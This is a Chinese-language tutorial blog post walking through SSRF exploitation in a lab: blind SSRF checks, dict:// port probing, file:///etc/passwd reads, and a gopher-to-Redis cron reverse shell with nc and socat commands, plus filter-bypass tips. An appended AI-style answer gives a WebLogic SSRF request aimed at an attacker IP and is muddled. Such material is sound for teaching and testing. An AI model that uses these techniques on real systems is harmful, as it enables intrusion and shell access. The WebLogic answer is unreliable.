ssrf 过滤.php,SSRF详细利用方式及getshell

本文将分为三个部分讲解0x01 ssrf本地远程及其他验证漏洞方式0x02 ssrf利用redis未授权getshell0x03 ssrf常见的绕过方式

0x01 ssrf本地及远程验证方式重新复现一下 顺便复习一下curl和监听端口的命令

无回显的ssrf验证本地开启apache服务

8a478e696cfdc216fc5668f3a39c7553.png

在存在ssrf处访问http://10.1.1.200(本机服务地址)查看kali机器服务器日志信息:

tail -f /var/log/apache2/access.log

327c4e21551c00f3c8faa0f9992f1eff.png

48a0de94051d6d45e55cb29e12e59b8e.png

打开日志发现被访问了,确定存在ssrf漏洞无回显还可以使用burp的collaborator来进行尝试或者dnslog

利用tcpdump测试:

Kali机器打开一个终端,使用tcpdump抓包:

#tcpdump -nne -i eth0 port 6666

-nne:不把端口和网络地址转换成名称,在输出行打印数据链路层的头部信息;-i:监视指定网络接口的数据包。

17da9e5cb9b97f8ee8e35423c6caee6c.png

访问http://10.1.1.200:6666

ec6b672364fe73ae7fa5eb36d78331d8.png

可以看箭头处,成功由本地访问到,确定存在ssrf漏洞

通过dict协议获取服务器端口运行的服务1.本地利用:本机机器中在终端输入:

curl -v 'dict://127.0.0.1:22'

curl:一种命令行工具,作用是发出网络请求,获取数据;curl -v:显示HTTP通信的整个过程,包括端口连接和HTTP request头信息。

fab2e35b975ad2d82a6e5a01dd01410a.png

可以看到ssh版本号为2.0 debian-6版本

2.远程利用:在存在ssrf地方输入

dict://127.0.0.1:22

06e8ea0ee0b827ecfc48bc4441caba43.png

利用技巧:可以通过Burp爆破看对方开启了什么服务

通过file协议访问计算机中的任意文件1.本地利用:在终端输入

curl -v 'file:///etc/passwd'

f3e29435c6e84943584c2bfc09c0fa92.png

2.远程利用:在存在ssrf地方输入

file:///etc/passwd

961ac919eca46f790e5925cc21281c4d.png

sftp及tftp协议在SSRF中的作用

1.sftp代表SSH文件传输协议,通过sftp协议获取SSH相关信息:

Kali机器上输入:nc -lvp 1234

-l:监听入站信息;-p:设置本地主机使用的通信端口;-v:显示指令执行过程。

在存在SSRF处输入:sftp://10.1.1.200:1234,点击‘TEST IT’后查看响应信息:

1da52395387ff28639c9d6ceb8b9893b.png

2.tftp即简单文件传输协议,允许客户端从远程主机获取文件:

Kali机器上输入:nc -lvup 6666

-u:使用UDP传输协议。

在SSRF处输入:tftp://10.1.1.200:6666

点击后查看响应信息:

c2a8bfd0af3edd042efe5d22d40d3311.png

0x02ssrf利用redis未授权getshell

通过gopher协议攻击Redis,如果内网中的Redis存在未授权访问漏洞,当Redis服务以root权限运行时,利用gopher协议攻击内网中的Redis,通过写入定时任务可以实现反弹shell

1.首先开启centos下redis服务

# cd /usr/local/bin

# ./redis-server /root/redis-5.0.4/redis.conf

847eb15ae54c22aeffc1f9159f0c966d.png

2.在kali上开启redis服务

cd /usr/redis/

./redis-server

b5352b2da7f9248071930a1bdb5eb2bb.png

另外开启一个终端,测试启动:./redis-cli ping

fae5bc49952e552eae85bee09d971d6a.png

启动成功

4.在kali机器写一个redis反弹shell的bash脚本:

0fe8f64b261bb183a8c0b109515deeca.png

在Redis的第0个数据库中添加key为1,名为root的定时任务,value字段最后会多一个n是因为echo重定向最后会自带一个换行符,位置为CentOS机器的/var/spool/cron/,10.1.1.200为获取反弹shell的本地IP地址,666为反弹shell的监听端口,可随意设置。

5.Kali机器另外开启一个终端,使用socat进行端口转发,获取Redis攻击的TCP数据包:

# socat -v tcp-listen:2333,fork tcp-connect:127.0.0.1:6379

将本地的2333端口转发到Redis服务器的6379端口,访问本地的2333端口其实是访问Redis服务器的6379端口。

881b5c267cf2e6d7ac4f87c06ce0aa24.png

执行脚本

bash shell.sh 127.0.0.1 2333

获取到数据

9ef149fa838df667831fa32df934b81e.png

6.先将socat获取的数据保存为socat.log文件,利用脚本将数据转换成适配于gopher协议的URL。

7be49cd34e76f7cf1f7480c21a11ed94.png

7.在kali上监听端口

nv -lvvp 666

14367c4c21a47d59aa56341fc89470d0.png

8.攻击CentOS机器的Redis服务:

在SSRF处输入gopher://IP:端口/_payload:

gopher://127.0.0.1:6379/_转换的数据内容:

dea942380c77f6bf4762872288f4063d.png

成功反弹shell

0x03 ssrf常见的绕过方式

IP地址转换进制

添加端口

利用短地址进行302跳转(如192.168.1.1.xip.ip会自动重定向到192.168.1.1)

利用句号

还有很多绕过方式

暂时总结到这里吧

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: WebLogic SSRF 漏洞可以被滥用以执行远程代码,包括反弹 shell。下面是一种可能的方法: 1. 确保你有一台能够监听反弹 shell 的主机,并且已经在等待连接。 2. 使用 SSRF 漏洞向目标 WebLogic 服务器发送 HTTP 请求,以获取访问内部资源的权限。例如,可以使用以下请求: ``` POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: <目标 WebLogic 服务器> Content-Length: 102 weblogic.userConsoleMode=true&consoleTabId=&redirectPage=&redirectServlet=&logoutTabId=&logoutCancelTabId=&logoutSubmitTabId=&cancelTabId=&startHelpWindow=&returnToHelp=&helpWindowTitle=&helpWindowWidth=&helpWindowHeight=&helpWindowTop=&helpWindowLeft=&helpWindowStatus=&helpWindowScrollbars=&helpWindowResizable=&helpWindowMaximize=&helpWindowUri=h%74tp://<你的 IP 地址>:<监听端口>/ ``` 注意,这个请求将把 WebLogic 控制台重定向到你的主机。当 WebLogic 尝试访问你的主机时,它将尝试连接到你的监听端口,并执行任何发送的命令。 3. 等待连接,并在成功连接后执行任意命令。例如,你可以使用以下命令反弹 shell: ``` nc -lvnp <监听端口> ``` 这将在你的主机上启动一个监听器,等待从目标 WebLogic 服务器返回的反弹 shell。如果成功利用SSRF 漏洞,你应该会在监听器上看到一个 shell。 ### 回答2: WebLogic是一种广泛使用的Java应用服务器,但在某些版本中存在安全漏洞,其中之一是SSRF(Server-Side Request Forgery)漏洞。在此漏洞中,攻击者可以通过构造特定恶意请求,使WebLogic服务器执行非预期的请求。下面我们将讨论如何利用WebLogic SSRF漏洞来反弹shell。 首先,要利用SSRF漏洞,攻击者需要找到WebLogic应用程序中存在这个漏洞的组件。一旦找到漏洞组件,攻击者可以构造一个特定的恶意请求,将目标服务器指向一个恶意的外部URL。 接下来,攻击者需要在恶意URL中包含一个恶意的shell代码。这个shell代码可以是一段PHP、ASP或其他脚本语言,用于在远程服务器上执行命令。 当目标WebLogic服务器接收到恶意请求并执行时,它将访问恶意URL并获取恶意代码。如果成功执行,攻击者就可以在目标服务器上获得shell访问权限,从而可以执行任意命令。 为了使反弹的shell更持久和稳定,攻击者可以持续与目标服务器行交互,并保持shell会话。这样,即使初始的SSRF漏洞请求被修补或检测到,攻击者仍然可以在以后的时间内保持对服务器的控制。 为了防止SSRF漏洞,WebLogic服务器的管理员需要采取一些安全措施。这些措施包括更新到最新的WebLogic版本以修复已知的漏洞,配置严格的访问控制列表,限制对敏感资源的访问,并对来自外部的请求过滤和验证。 总之,利用WebLogic SSRF漏洞反弹shell是一种非法行为,违反了计算机系统的安全和隐私。我们强烈建议所有用户和管理员采取适当的安全措施来保护WebLogic服务器免受此类漏洞的攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值